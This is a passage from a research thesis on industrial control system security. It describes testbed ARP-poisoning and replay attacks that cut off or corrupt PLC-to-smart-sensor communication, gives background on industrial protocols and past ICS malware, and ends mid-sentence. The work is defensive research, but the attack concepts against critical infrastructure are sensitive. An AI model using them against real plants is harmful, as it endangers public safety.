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Abstract 
 Water treatment centers, dams, traffic control systems, critical manufacturing, powerplants are 
just some examples of the critical infrastructure which support this nation and many others [1]. A 
malfunctioning or stoppage of any one of these systems could result in hazardous conditions on its 
supporting populace leading to widespread damage, injury, and even death. The protection of such 
systems has been mandated by the Office of the President of the United States of America in 
Presidential Policy Directive Order 21, dated 12 February 2013 [1]. Due to its importance and 
Presidential mandate, researchers and defenders of America alike have placed enhanced resources 
and focus on the critical infrastructure of this nation. This is all aside from the already ongoing 
research aimed at improving the management and efficiency of different Industrial Control 
Systems (ICS). Industrial Internet of Things (IIoT) provides a way for increased data collection 
and boosts in efficiency. IIoT are devices with dedicated purpose, microprocessors, and Internet 
Protocol capabilities; one such example being smart sensors. The problem is IIoT changes the way 
an ICS network functions. Controllers within an ICS now rely on networked devices to control a 
process. The question then arises, how does IIoT change the cyber-attack surface? 
 In legacy ICS operational designs, the sensors and actuators were directly hardwired to 
controllers. IIoT elevates this physical layer of abstraction allowing for devices to communicate 
over networks instead. In addition to this, IIoT devices use different protocols to communicate 
which are similar in design. The similarity in design could lead to unifying vulnerabilities. The 
research here aims to discover vulnerabilities common to IIoT via their network accessibility and 
protocols. It is predicted that due to the aforementioned, an ICS with IIoT could be disrupted by 
attacking the network supporting the controller and sensor without needing specific details of what 
industrial protocol is used. To test this, three different industrial protocol-agnostic network attacks 
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are executed against a custom testbed. Because of their protocol-agnostic behavior, the attacks on 
the ICS network could likely affect a larger range of protocols than just the ones tested here. The 
attacks are an Address Resolution Protocol (ARP) cache poison, a corrupted-replay attack, and an 
intelligent replay attack. In addition to the attacks, a solution is then tested to determine what can 
be done to reduce these vulnerabilities while still enabling the use of networked sensors. The 
solution tested is the physical separation of operational and informational devices.  
 Overall the three attacks were not all together significantly successful, with only four of the 
nine experiments having effective results. The ARP cache poison is the most successful of the 
three attacks, disrupting the control process of the testbed 28 out of 30 times over three different 
smart sensors. The attack severed the connection between the controller and sensor analogous to 
cutting the virtual wire between the two. The two replay attacks are less successful in causing 
noticeable disruption. The only successful replay attack is the intelligent replay attack when 
executed between the controller and the Allen-Bradley smart sensor; all ten executions consistently 
led to the draining of the testbed tank. Additionally, the separation of the non-essential engineering 
computer (used as the attack platform) from the operational devices nullified the attack’s effects 
and mitigated the results seen in the attack experiments. 
The few successful attacks simply showed how the relationship between the controller and the 
sensor are now more easily exploited due to its accessibility from the network and the nature of 
the industrial protocols which are employed. In addition to the accessibility, the similar design in 
protocols could likely mean this vulnerability can affect more than the protocols exploited here. 
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EVALUATING THE RESILIENCY OF 
INDUSTRIAL INTERNET OF THINGS 
PROCESS CONTROL USING 
PROTOCOL-AGNOSTIC ATTACKS 
 
I.  Introduction 
1.1  Overview and Background 
 The world of Industrial Control Systems (ICS) is ever evolving to find more efficient ways to 
manage processes, maintain control, and collect data for analysis. Some of this efficiency is made 
possible by Industrial Internet of Things (IIoT) devices, but due to the recent inception of the term, 
there is no set definition nor explanation on how it applies to critical infrastructure. The point of 
the term is to categorize devices that are considered to be smart and have specific functions in the 
network to which they are connected. Devices such as Programmable Logic Controllers (PLC), 
smart sensors, and smart actuators are some examples of IIoT devices. IIoT devices are not general 
Information Technology (IT) devices such as servers, computers, and network devices (switches 
and routers). In addition, IIoT devices complete a set of tasks, process, and communicate 
autonomously often through an Internet Protocol (IP)-based network. IIoT devices such as smart 
sensors present a potential solution to more efficient management of critical resources. These smart 
devices have abilities such as data storage, remote programmability, self-diagnosis, multiple 
endpoint communication, and more. Much can be gained by integrating smarter devices into an 
ICS network, but this capability relies on Transport Control Protocol and Internet Protocol 
(TCP/IP) networks to achieve its full potential and therein lies the concern. Prior to this point in 
the time span of ICS, components critical to the control of a process were hardwired to a controller 
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such as a PLC. Now with IIoT it is possible to have networked sensors and actuators which 
communicate with controllers over TCP/IP networks. Networked devices such as sensors and 
actuators change the way an ICS depends on its network to control a process. Before this point, an 
ICS could function autonomously from the network; now, an ICS requires 100% uptime of the 
operational network and its components to ensure networked dependencies (smart sensors and 
actuators) remain unsevered. The research explores how the reliance of IIoT changes the 
cybersecurity landscape of an Industrial Control System. The following experiments seek to 
determine the potential weakness of a process dependent upon IIoT, specifically networked smart 
sensors.  
1.2  Problem Statement 
 With the integration of ICS and IIoT becoming more of a reality, many have wondered what 
does this mean for the future of ICS? The research here aims to discover how the introduction of 
IIoT to an ICS system opens the door for sets of vulnerabilities which could be common to more 
than one ICS network. More specifically, the goal of this research is to discover if attacks between 
PLC and IIoT could be performed without knowledge of the supporting industrial protocols. It is 
hypothesized that due to the ease of access from the network, the ICS can be degraded/controlled 
by attacking the network between PLC and IIoT without knowledge of what industrial protocol is 
used between the two. 
1.3  Approach 
 This research utilizes the LabVolt 3531 Pressure, Flow, Level, and Temperature Process 
Training System (hereafter referred to as the testbed) located within the Center for Cyberspace 
Research at the Air Force Institute of Technology. The testbed’s legacy sensors are upgraded with 
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four different network-based smart sensors and one differential pressure transmitter (DPT) sensor 
which is interfaced with an Allen-Bradley PLC utilizing an analog input/output module and an 
Ethernet/IP module. The DPT is effectively converted into a network-based sensor using standard 
legacy equipment, emulating how this could be done in the field with current equipment. The DPT 
has similar capabilities as the smart sensors in the sense that it can be communicated from multiple 
simultaneous nodes, all through a TCP/IP-based network. 
 Experiments are carried out against the testbed testing different combinations of PLC, smart 
sensors, and network configuration to identify which attacks work in what conditions and which 
network configurations are most resilient. 
1.4  Assumptions and Limitations 
 One limitation of the research is the controller hardware on the testbed. Although three 
different sensor setups are tested, there is only one programmable logic controller available to 
manage the process, the Allen-Bradley ControlLogix 1756 PLC. The assumption, however, is that 
the network attacks performed can work on other controllers since the attacks are brand agnostic 
relative to the controller or sensor. In other words, the attacks focus on affecting the network 
through which the ICS is now reliant on for control, not necessarily the device. Another limitation 
is the testbed only had one industrial protocol to test the payloads against, namely Ethernet/IP. As 
is the case with the PLC limitation, the concept demonstrated in this research shows that 
dependence on IIoT, specifically networked-based smart devices, widens the attack surface of an 
ICS network without needing much knowledge of the industrial protocols.  
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1.5  Research Contributions 
  The attacks presented in this research contribute to the field of IIoT cybersecurity, which is in 
support of the Presidential mandate. The attacks provide data in support for current best practices 
and how they apply not only to legacy systems but to IIoT-reliant ICS networks. Additionally, in 
order to test some of the notions in this research, the testbed is upgraded to include newer IIoT 
technology for proof of concept. The testbed adds to the growing field of testbeds which either 
lack or are starting to include IIoT for cybersecurity research [2, 3, 4]. This testbed can be further 
used by ICS cybersecurity researchers at the Air Force Institute of Technology. The attacks 
performed in this research demonstrate the possibilities of affecting a critical process through 
attacks on the network protocols supporting the PLC and IIoT device which could affect more than 
one protocol. 
1.6  Thesis Overview 
 Chapter 2 covers the necessary information to understand the background and relevant research 
pertinent to this thesis. Chapter 3 describes the testbed, upgrades to equipment, settings for the 
entire testbed, and diagrams for proposed solutions. Chapter 4 details the experiments to take place 
along with the proposed statistical analysis performed on the data collected. Chapter 5 presents the 
results of the experiments, the analyzed data, and interpretation of the analysis. Finally, Chapter 6 
offers conclusions, recommendations, and future work.  
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II.  Background and Related Research 
2.1  Overview 
 This chapter provides necessary background information and creates a sound foundational 
knowledge vital for comprehending the research covering ICS, IIoT, smart devices, and 
cybersecurity. Industrial Control Systems are the heart of society, with the resources they manage 
acting as the blood giving life to a nation at large. To gain a basic understanding of these networks 
and what makes them function, Section 2.2 discusses the hardware, network layout, standard 
protocols, and software present in a typical Industrial Control System network as well as the 
everyday terms seen in the industry. Finally, Section 2.3 presents a background in IIoT and relevant 
research pertaining to malware within industrial control systems. 
2.2  Background 
 2.2.1  Industrial Control Systems and Their History 
 Many use the term ICS and Supervisory Control And Data Acquisition (SCADA) 
interchangeably, which is an understandable but inaccurate misconception; SCADA is only a 
subset of ICS.  The best starting point is to define what is an Industrial Control System. It is a 
collection (or some combination) of computing, mechanical, and sensing devices responsible for 
controlling the management of some process [5]. SCADA is a specific application of ICS where 
the management of critical infrastructure and the centralization of data collection over a dispersed 
geographical area are both vital, and the network layout distinctly shows this. Figure 1 is an 
example of an ICS as provided by the National Institute of Standards and Technology (NIST) [6]. 
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Figure 1. A Simplified ICS Network [6]. 
 
 Several systems shown are needed for the smooth control of a process. A Human Machine 
Interface (HMI) is often a small computing device which receives status on the process and has 
options for an operator to control the process should the situation deem necessary; more on HMIs 
is discussed in Section 2.2.4. A sensor is a mechanical device which detects specific changes in 
the environment or process and transmits that status to the controller. The controller can be many 
types of devices that receive input (i.e., sensors, or human interaction via HMI) and then either 
make a change to the controlled process via an actuator based on programmed logic or sends 
warnings to connected systems. Much of the current and past research focuses on a popular device 
called a Programmable Logic Controller (PLC). A PLC accepts inputs in many different forms and 
completes tasks based on the inputs and the ladder logic currently running on it. 
 Before the architecture that exists today, many ICS networks were inaccessible from the 
Internet and operated by legacy equipment, hardwired in complicated ways and often needed 
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manual intervention to control the process [7]. Today’s architecture, however, exists because of 
newer technology such as PLCs, giving ICSs the ability for more streamlined communication 
using cheaper devices and adding one of the most significant benefits, the ability of automation, 
making it easier to correct errors and change the process if certain preprogrammed conditions are 
met. Because of devices like PLCs and other smart devices such as smart sensors and smart 
actuators, the modern SCADA network is made possible. 
 2.2.2 Supervisory Control And Data Acquisition 
 In comparison to a typical ICS network, Figure 2 illustrates a common SCADA architecture. 
Similarities between ICS and SCADA can be seen, such as a communication medium, a process 
managed by a controller, an HMI, along with other additions such as the Data Historian. 
 
Figure 2. A typical SCADA Network Composition [6]. 
  
 A typical SCADA network is categorized into four sections. The first section is the corporate 
network (not pictured) which is sometimes connected to the rest of the SCADA network separated 
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by a firewall; however, current research shows this is not recommended since it only makes it 
easier to enter the critical infrastructure from the Internet [8, 9].  
 The Control Center is responsible for the centralization of information pulling and command 
dispersion; this is what makes the SCADA network what it is – a system which conducts 
supervisory control and data acquisition. At this level, many of the reporting, management, 
maintenance, and diagnostic tools exist for operators to use and with which to supervise the 
controlled process. 
 The third section is the communication medium between the Control Center and the field units. 
This section can take many different forms such as telephone landlines, microwave communication 
towers, satellite connections, or Wide or Local Area Networks.  
 The last section of a SCADA network is known as the field site, which is where the critical 
process exists. The field sites contain endpoint communication devices, sensing units, and the 
devices critical to the management of the process such as PLCs or various Intelligent Electronic 
Devices (IED) which are capable of autonomous management. 
 Together, these four sections comprise a SCADA network and are one way the management 
of critical resources which are dispersed over large geographic areas can be accomplished. Again, 
SCADA is only a subset to ICS and can be contrasted to another subset known as a Distributed 
Control System (DCS). 
 2.2.3 Distributed Control System 
 Where a SCADA network is more specific to geographically-dispersed resource management 
such as natural gas pipelines or electric power distribution, DCS are considered a similar concept 
but are generally confined to “four walls” as is the case with water/wastewater treatment plants 
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[7]. DCS operate much like SCADA in the sense that the equipment is similar: HMIs, PLCs, 
workstations, Local Area Networks (LANs), and supporting servers. With the exception of 
physical separation, DCS and SCADA are very much alike. 
 2.2.4 Human Machine Interfaces 
 One of the devices that allows an ICS operator to see the status of their process and interact 
with the system are Human Machine Interfaces. These come in several forms; the first version ran 
on embedded systems. Typically, programs were designed and loaded onto a computing device 
specifically built to be an interactive display of information and control which came to be known 
as HMIs. As technologies and protocols progressed, the HMI evolved to run as software on a 
typical Windows or Unix workstation. This evolution facilitated web-based solutions where 
interaction is made possible by a web server and accessed through browsers on operator 
workstations. The HMI implementation decision depends on the needs of an operator and the 
resources a company is willing to commit.  
 2.2.5  Workstations and Servers (Data Historian) 
 The next portion of a SCADA network critical to the supervisory aspect is workstations and 
servers. These computing devices typically run Windows or Linux. Workstations can have 
multiple SCADA programs running. For example, a workstation could be running desktop HMI 
solutions, network diagnostic tools, proprietary software for ICS management and design, and 
include tools for engineers to program PLCs and other smart devices on the network. The 
applications of these workstations vary widely depending on the age of the ICS and process they 
manage. Typically, the best practice with workstations is to limit access to the control section of 
an ICS to “read-only” rights [10]. 
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 Servers have multiple purposes one of which was briefly mentioned: a host to web-based 
diagnostics and tools for an operator. Another function hosted on servers most commonly seen in 
an ICS is called a Data Historian seen pictured in Figure 2. The main purpose of a historian is to 
gather and analyze the controlled process using statistical techniques [7]. Historians come in 
proprietary (e.g., Siemens, Allen-Bradley, General Electric) and third-party solutions such as 
software that B-Scada provides free of charge [11]. Historians store gathered information known 
as “tags” which can either be information automatically polled and stored or operator-generated 
inputs. Historians serve multiple purposes as they provide information for both analytical and 
maintenance purposes but also can be used by corporations for business purposes. 
 2.2.6  Programmable Logic Controllers and Ladder Logic 
 Automation is one reason why optimizations and resiliency of a managed resource are so easy. 
To achieve automation and optimization, a system needs the power of microprocessor-based 
devices, which can perform fast calculation and react to inputs faster than a human operator. One 
of the more popular devices is the Programmable Logic Controller such as the Allen-Bradley 
MicroLogix 1100 seen in Figure 3. A PLC’s main function is to control a process as desired by the 
resource owner automatically. Using Figure 3 as an example, it has inputs labeled I/0-I/9 seen at 
the top of the PLC boxed in red. Using these inputs, the controller performs a series of checks in 
logic then triggers a series of outputs depending on the program. 
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Figure 3. MicroLogix 1100 Programmable Logic Controller. 
 
 If logic is programmed as intended, the process which the PLC manages is controlled 
accordingly. One language used to program the PLC is ladder logic; Figure 4 is a visual depiction 
of the basics (rungs, branches, input and output instruction symbols). In addition to this, two 
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examples are shown in Figure 5 and Figure 6; pictured is the SL500 Instruction Set which is 
supported by Rockwell Automation devices [12]. 
 
  
Figure 4. A depiction of Ladder Logic Branches, Inputs, and Output Instructions [13]. 
 
 Ladder logic is a set of instruction rungs on a “ladder” which are assessed one rung at a time, 
top to bottom, left to right. Each rung needs at least one input instruction and one output instruction, 
as seen on rungs 0000 – 0003 boxed in red in Figure 6; input instructions are the inverted brackets 
on the left of the rungs and the output instructions look like parenthesis on the right side of the 
rung. Instructions can be in sequence, seen in rung 0004 in Figure 6, or in parallel as in rung 0000 
in Figure 5. This parallel rung is called a branch and functions like a logical OR; if either the top 
or bottom evaluate to true statements, then the signal is passed to the next instruction. Parallel 
rungs help organize the overall program giving an engineer the option to simplify what sets of 
input conditions should assert a specific output [13]. 
 Aside from ladder logic, a PLC can be controlled by an operator should the need arise. One 
way this is accomplished is through the use of HMIs as previously described. PLCs, HMIs, and 
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workstations can all be networked together to allow an operator to change the process should a 
need arise such as an emergency or system maintenance. 
 
 
Figure 5. Example of Rockwell’s SL500 Instruction Set Ladder Logic with Nested Rungs [12]. 
 14 
 
 
Figure 6. Ladder Logic with No Nested Rungs [12]. 
 
 2.2.7 Proportional–Integral–Derivative Loop 
 One way to control a process, used by the testbed described in Chapter 3, is a Proportional-
Integral-Derivative (PID) Loop. P is the proportion of measurement of error. In other words, it is 
the comparison of two data points: where the process is currently at and where it needs to be 
adjusted to. It is a one-to-one relationship including its sign (positive or negative) indicating in 
which direction the error is and its value. I relates to the integral over time; it is how corrections 
to the process are made due to the current P. D relates to the derivative, and it is how the loop 
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attempts to predict necessary future adjustments dependent on the current rate of change. Figure 7 
is a visual depiction of the PID loop as a closed feedback loop of set point, the measure of water 
level, PID calculation, valve adjustment and feedback of new measure water level. 
 
 
Figure 7. PID Loop Diagram. 
 
  2.2.8  Smart Sensors and Actuators 
 As previously seen in Figure 1, sensors and actuators are a significant portion of an ICS, acting 
very much like the human nervous system sensing and reacting to sound, light, pressure, and 
temperature. Without these, it would be impossible for an ICS to detect changes and act 
accordingly. If there is a need to detect a change in some state or current level of some process, 
then there exists a sensor to measure just that; it depends on what the ICS needs to manage. Some 
standard functions of ICS sensors measure changes in flow, temperature, single point pressure, 
differential pressure (pressure between two points), and more. Sensors send signals out to 
management devices with values corresponding to some measured state. Traditionally sensors and 
actuators performed only the function for which they were created: sense, report, and act. Now 
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with the recently engineered “smart” sensing/actuating technologies, this has changed. Now 
devices can self-diagnose, store relevant data, accept remote configurations, and communicate 
through TCP/IP networks which can include using wireless technology [14]. A critical component 
that gives these devices their smart capabilities is communicating with an enhanced protocol which 
supports the communication of diagnostics, data transfer, and configurations. IO-link is one 
example and is discussed in Section 2.2.10 [15]. In addition to the enhanced protocol, the smart 
sensors and actuators use a communication module which converts the device-specific protocol to 
an Ethernet-supported TCP/IP communication.  
 Although a benefit for the overall health of a process, since smart sensors gives an operator a 
real-time picture of the internal health of all their devices, this poses a question about the negative 
implications this could have relative to cybersecurity of the network.  
2.2.9  Industrial Protocols 
 Each of the devices mentioned in Sections 2.2.4 - 2.2.6 and 2.2.8 use various protocols, and 
many times these protocols are proprietary and very specific to the type of device needing to be 
interfaced. In addition to their specific nature, most of the early protocols still in use were designed 
with little security in mind [7]. Typical protocols in an IT environment are Transmission Control 
Protocol (TCP), Internet Protocol (IP), and Hypertext Transfer Protocol (HTTP). In an Operational 
Technology (OT) platform, originally the need was low for these types of protocols since 
everything was hardwired with serial forms of communication due to the nature of the 
environment. Protocols such as RS-232 and RS-485 are physical-layer protocols much like 
Ethernet; however, their purposes are vastly different. RS-232 and RS-485 are standards that 
specify electrical, mechanical, and functional characteristics for serial binary communication 
circuits. Over time, attempts were made to standardize protocols, giving engineers options to 
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integrate devices and simplify the network, Modbus is one such example where it evolved to 
communicate over a TCP/IP network. This section focuses on protocols supporting IIoT devices. 
The examples discussed in this section are Ethernet/IP (ENIP), ModbusTCP, PROFINET/IO, and 
Ether-S-IO (ESIO). Each of the protocols mentioned use either TCP or UDP to communicate 
commands and information. These protocols share common characteristics such as device 
identifiers, connection status information, and sequence numbers. 
 Ethernet/IP utilizes both TCP and UDP for communication. ENIP uses TCP for management 
of devices and uses port 44818 at the destination end. ENIP communicates over port 2222 when 
UDP is used which is the method of choice for streaming IO data. An example of the protocol is 
highlighted in Figures Figure 8 and Figure 9 using the packet dissection tool Wireshark [16]. Some 
of the common characteristics it shares with the next few protocols discussed are seen in the figures 
such as connection ID, sequence number, and the data portion where the IO information is held. 
The connection ID is used to keep track of conversations between nodes, this ensures all relevant 
data is interpreted together. The sequence number is so each node can know the successive order 
of the data received in the current connection; this way, if a node receives information that seems 
out of order, it can still differentiate what information is relevant to the current chronological 
timeline it is expecting. 
Modbus is a serial-based protocol created by Schneider Electric (formerly Modicon) in 1979 
[17]. ModubusTCP uses TCP, as indicated by the name, and port 502 [18]. It is a very popular 
protocol; there are currently over 670 companies that support the protocol including companies 
like Allen-Bradley, Siemens, Schneider Electric, and General Motors Inc. [17]. 
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Figure 8. Ethernet/IP over TCP Packet Example. 
 
 
Figure 9. Ethernet/IP over UDP Packet Example. 
 
 Shown in Figure 10 are the transaction identifiers (similar to ENIP). It links transactions 
(request and response) at the Modbus level so each node tracks which response belongs to which 
request [18]. The client’s transaction ID is copied and repeated in the response by the server to the 
client. This feature is needed especially in the cases where there are multiple MODBUS requests 
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over the same TCP connection such as the case would be if a bridge or gateway were being used. 
The transaction ID function as both a sequence number and connection ID if the connection is 
point to point; however if there is a gateway present then the unit identifier also functions as the 
connection ID. For all intents and purposes, the transaction identifier mainly functions as a 
sequence number, which behaves similar to the sequence number and connection IDs in ENIP as 
shown the network capture in Figure 11 incrementing predictably by one every transaction. 
Additionally shown in Figure 10 are the portions were Modbus transfers information/data along 
with an example of its command function. 
 
Figure 10. ModbusTCP Packet Example [20]. 
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Figure 11. ModbusTCP Transaction IDs [20]. 
  
Profinet IO is the next protocol operating under one additional protocol known as Distributed 
Computing Environment / Remote Procedure Call (DCE/RPC) which handles most of the control 
portions of Profinet that are similar to protocols seen before. Sequence numbers and meta-data 
information are handled at the DCE/RPC level as well as the Profinet level of the packet. 
Information such as device IDs and actual IO data (not pictured) is handled at the Profinet portion 
of the packet. Each of these is shown in the packet which is split up between Figure 12 and Figure 
13 respectively. 
The next protocol is Ether-S-IO, ESIO, created by Saia-Burgess Controls Ltd. It operates over 
UDP port 6060, and it is used to pass process IO between two nodes like how ENIP can be used 
to pass process IO. Figure 14 depicts the similar portions of the protocol headers it shares with the 
previous protocols mentioned. The main points of notice are the use of transaction IDs and source 
IDs along with its data portions. 
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Figure 12. Distributed Computing Environment Protocol Example [21]. 
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Figure 13. Profinet Packet Example [21]. 
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Figure 14. Ether-S-IO Packet Example [22]. 
  
  2.2.10  IO-Link 
 IO-Link is a new leading industry standard serial protocol for the enabling of direct 
input/output communication with smart sensors and actuators [15]. Many of the world’s leading 
industrial equipment manufacturers have accepted this protocol to support their smart devices such 
as Siemens and Allen-Bradley (Rockwell Automation). The protocol enables the many functions 
smart devices offer like communicating process data, device service data, triggered events as 
measured by the device, and remote device configuration. 
In summary, the industrial protocols depicted here function in similar manners, each having 
the goal of transferring data from node to node, setting up communications, and sending/receiving 
commands as needed. The designs are visually displayed in Table 1. Connection or Transaction 
IDs are used to ensure the data received is relevant to the most current conversation. Sequence and 
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reference numbers are used to know the order in which the data received. It is a way for the receiver 
of the data to ensure the data is being received in the correct order it was sent. Additionally, each 
protocol has its methods of controlling and commanding devices. 
Table 1. Industrial Protocol Similarities 
 
   
2.2.11 Internet of Things and Industrial Internet of Things 
 A popular term which has exploded over the last decade is the Internet of Things (IoT). The 
term was first coined by Kevin Ashton in a talk he gave at Procter and Gamble in 1999 [23]. 
Ashton stated that he did not make the claim of ownership of the term but did provide what he 
originally intended with IoT. He stated computers received almost all of their information from 
people and this, in turn, was a limiting factor since people do not run continuously; we have 
“limited time, attention, and accuracy” [23]. Since this was the reality, the need to give computers 
the ability to gather information about the world around them was conceived. More specifically he 
stated “…If we had computers that knew everything there was to know about things—using data 
they gathered without any help from us—we would be able to track and count everything, and 
greatly reduce waste, loss, and cost. We would know when things needed replacing, repairing or 
recalling, and whether they were fresh or past their best [23].” To summarize, it seems his 
definition of the Internet of Things is an interconnection of objects (things) through the Internet 
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with the purpose of gathering and distributing information to track and reduce waste and cost, 
effectively increasing efficiency.  
 The term today has deviated from this intended definition slightly as seen by another definition 
found in a paper by Zanella and Vangelista: IoT are “…objects of everyday life [which are] 
equipped with microcontrollers, transceivers for digital communication, and suitable protocol 
stacks that will make them able to communicate with one another and with the users, becoming an 
integral part of the Internet [24].” There are many other variants of the definition but for this 
research, IoT is defined as the population of devices accessible through the Internet which are 
distinguished from traditional devices (server, computer, and router/switch) with the intent to 
communicate specific sets of information, perform specific tasks, and generally enhance quality 
of life.  
 There is much research in the area of IoT and its potential positive and negative impacts on 
society as the technology continues to advance and grow. Because manufacturing of IoT devices 
has become cheaper and easier over time, newer applications of IoT have been made possible; 
from thermostats and security devices, to augmented cattle, the ideas are still emerging [25] as 
well as being applied to areas of life such as the medical or industrial fields of which the latter is 
discussed next. 
 The industry has continued to evolve, looking for better ways to manage and distribute 
resources, and the next stage in that evolution has come. Industrial Internet of Things (IIoT) is 
another term that gained popularity most notably in the past four years based upon the Google 
Trends Tool which plots terms and their usage over time relative to when they reach their highest 
point; results of the tool for the term ‘IIoT’ are shown in Figure 15. The numbers are normalized 
to 100 and represent searches for the given region and time. The reason for IIoT’s rise in popularity 
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is difficult to determine, but a rise is present nevertheless. There are many deviations on the term 
IIoT, much like the case for IoT, so for the scope of this research a consolidated definition is given. 
If the perspective is taken from the ICS side and consideration is made that the root of the term is 
Internet of Things then Industrial Internet of Things are routable devices which aid in the 
monitoring and control of a critical process other than the standard IT type devices (routers, 
computers, servers) to include PLCs, embedded HMIs, Smart Sensors, and like devices. 
 2.2.12  Address Resolution Protocol 
 The networks that support the devices presented in Sections 2.2.1 - 2.2.10 use a standard 
protocol in this research known as Address Resolution Protocol (ARP). This protocol exists at 
Layer 2 (Link Layer) of the TCP/IP stack. Devices use this protocol to map physical addresses, 
known as Media Access Control addresses, to IP addresses. Devices keep track of all the addresses 
they detect in a cached table and use them when sending network traffic to a specific node. 
2.3  Related Research 
 2.3.1  Cybersecurity in Industrial Control Systems 
 There are many case studies and real-world situations that show how important the topic of 
cybersecurity is in the realm of ICS. In December of 2017, Waterfall-Security created a top 20 list 
of real-world attacks and their vectors into ICS networks [27]. It is no surprise that Stuxnet and 
the Ukraine power grid attack made it on the list. The unfortunate truth is these are just the top 20 
incidents, and there are likely many more which do not make it into the limelight. Some recurrent 
themes in the list are insider threats, ransomware, ranges of malware, and exploited trusted 
relationships. 
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Figure 15. IIoT Google Trends [26]. 
 
The many different avenues used to attack ICS networks are seen, but the most common theme 
is the fact these cases were enabled by Internet-connected avenues which is proof enough the 
dangers of making critical infrastructure publicly accessible. The Waterfall-Security report also 
presents a case where a poorly defended IIoT cloud service was compromised and used as a pivot 
into the ICS network. This is one example of the effect smart connected devices have on an ICS, 
and this research will explore other effects local to the ICS network in Chapter 5. 
 2.3.2 Industrial Control System Security and Malware  
 ICS and the domain of sub-variants suffer from dangerous security issues and weaknesses 
which are inherent to the need for support of legacy devices. This weakness is further fueled by 
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the financial undertaking needed to maintain and increase overall cyber security. This section 
presents several cases where these weaknesses have been exploited by malware both intentionally 
and unintentionally to varying levels of severity. 
 Starting with targeted attacks against ICS, the most popular is Stuxnet. It is one of the best 
examples of what intentional damage of an ICS looks like if an Advance Persistent Threat invests 
enough time and money into an attack. It used seven different exploits to propagate and achieve 
its apparent end goal which was to degrade the process at an Iranian uranium enrichment plant 
[28]. According to Symantec’s report, Stuxnet’s propagation into an air gapped facility likely 
started from a USB and spread from node to node via network exploits, removable media, and 
PLC project file infections [29]. Stuxnet was designed to penetrate deep into the operations portion 
of the ICS it targeted and required significant amount of intelligence, engineering, and resources 
to achieve. According to Symantec, Stuxnet was the first in malware history of its kind, using four 
zero-day exploits and stolen digital certificates to hide its presence. One aspect which displays the 
level of complexity is how far into an ICS structure it was able to penetrate; components of Stuxnet 
were tailored to the specific hardware in the ICS, namely the Siemens Step 7 family of PLCs [29]. 
As seen in Figure 2, this is the deepest level of an ICS aside from the actuators and sensors which 
support those PLCs. Thankfully, the level of complexity and skill required to build malware like 
Stuxnet is extremely high in today’s cyber landscape; however, it stands as a warning to the world 
of possibilities which can be achieved when the cyber world meets the physical. 
 Another example of a targeted ICS attack is Shamoon [30]. The malware was launched against 
the Saudi Arabian oil company Aramco in 2012. It destroyed around 30 thousand of the company’s 
computers by corrupting files and overwriting the Master Boot Record rendering the computers 
unusable. Although a targeted attack, it is important to note that the malware did not make it onto 
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the operational portion of the company’s network and yet it still caused considerable effects [28]. 
Like Stuxnet, the goal of the malware was to cause damage to a targeted ICS but dissimilar in 
sophistication and complexity. The malware was unable to make it over to the operational side of 
the company’s ICS but still caused a considerable amount of interruption to the company’s overall 
operations [31, 32].  
 In 2003, the Slammer Worm was one of the fastest spreading malware. It infected 75 thousand 
hosts, which included ICS networks, and reached its peak of possible targets within 10 minutes of 
launch. It spread using a buffer overflow targeting Microsoft’s SQL Server or Microsoft SQL 
Server Desktop Engine 2000 [33]. This worm is a case where malware was not specifically crafted 
to target ICS yet it still managed to infect and cause unwanted side effects. Moreover, the worm’s 
effects on the Internet and the infected host were side effects of replication rather than due to a 
payload. Slammer did not have a payload that executed and instead it was the Slammer worm’s 
network traffic from all its scanning which caused the denial-of-service in many systems 
worldwide. One of the more well-known affected hosts were two computers at the Davis-Besse 
nuclear plant. The plant’s infected computers which were affected dealt with monitoring the plant 
process and safety parameters [34]. If these two systems do not seem critical enough, the North 
East Blackout of 2003 was caused by an inability to stop conditions leading to a catastrophic 
blackout which were unknown to operators due to an error in software. The error prevented alarms 
from informing operators of conditions that could have been corrected and avoided if proper 
actions were taking in a timely manner. Since operators were unaware of the alarms, the conditions 
worsened and eventually led to cascading blackouts across North East America [35]. The blackout 
showed how a monitoring system’s failure could lead to potentially catastrophic situations. 
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Thankfully, in the case of the Davis-Besse facility, no further issues were reported due to the two 
temporarily disabled systems. 
 In the same year as the Slammer worm, another worm by the name of Blaster (aka Lovsan or 
MSBlast) spread across the world using an exploit which allowed it to affect Windows 2000 and 
Windows XP computers. The Blaster worm was similar to Slammer in its effects. The malware 
generated so much network traffic that it caused various denial-of-service attacks on a large 
number of computers. CSX Transportation Company is one such example of an ICS which was 
affected. The traffic overwhelmed CSX train signaling systems and halted all trains managed by 
the company, both commercial and transport, in the Washington D.C. area [36].  
 There are more recent examples which show worms still exist to this day. Some variants of 
ransomware function just like older worms, propagating using OS-based exploits which allow 
them to spread through a network from computer to computer with little to no user interaction. 
Two such examples of this are WannaCry and Petya both using the same exploits to replicate, 
spreading via a vulnerability in unpatched Windows systems using SMB version 1 [37, 38, 39]. 
WannaCry affected many different systems worldwide ranging from everyday users to companies 
such as Honda, causing them to halt operations [40]. Additionally, WannaCry affected some highly 
sensitive networks such as the National Health Service in England which led to many patients 
lacking timely care for their health needs [41]. According to Kaspersky Labs, Petya which 
functioned like WannaCry in exploits, seemed to specifically target industrial systems. Over half 
the hosts affected by Petya were oil, gas, manufacturing, healthcare, and finance [42]. Petya was 
reportedly to blame for affecting the systems that monitor the area around Chernobyl which is an 
area still suffering from the aftereffects of a nuclear meltdown that occurred in 1986 [43]. In 
addition to these systems, Chernobyl’s website which provided information to the public on 
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conditions and updates the power plant was brought down. As seen with the North East Blackout, 
safety monitoring systems are extremely important and could lead to significant issues if not dealt 
with in a timely manner. 
 In summary, these cases of malware show some key points. One, malware which affect ICS 
can be intentional or unintentional. And two, malware does not need to infect deep into an ICS 
network, such as controllers and sensors, to cause significant issues as was the case with Blaster 
worm and CSX. The outcomes previously stated show an unfortunate truth, if an ICS is in any way 
connected via a network, even if air gapped, it can suffer from operational interruption from 
malware which typically affects normal IT networks. This is due to commonalities such as similar 
operating systems and the operation somehow having an Internet connection somewhere in the 
network. 
 2.3.3  Attacking Networked Devices 
 Along the lines of testing the security of an ICS system, Blaine Jeffries, a graduate of the Air 
Force Institute of Technology, caused a networked Variable Frequency Drive to fault after 
flooding it with UDP traffic [44]. Jeffries’ research is an example that demonstrates how a 
controlled process which is reliant on networked devices, has a widened attack surface. The attack 
did not need knowledge of what protocol was used to succeed in faulting the Variable Frequency 
Drive.  
2.3.4  The SANS Industrial Control System Cyber Kill Chain 
 Assante and Lee describe the process, ease, and sophistication of an attack on an ICS [45]. 
They state attacks which have the capability of impact on process or equipment need intimate 
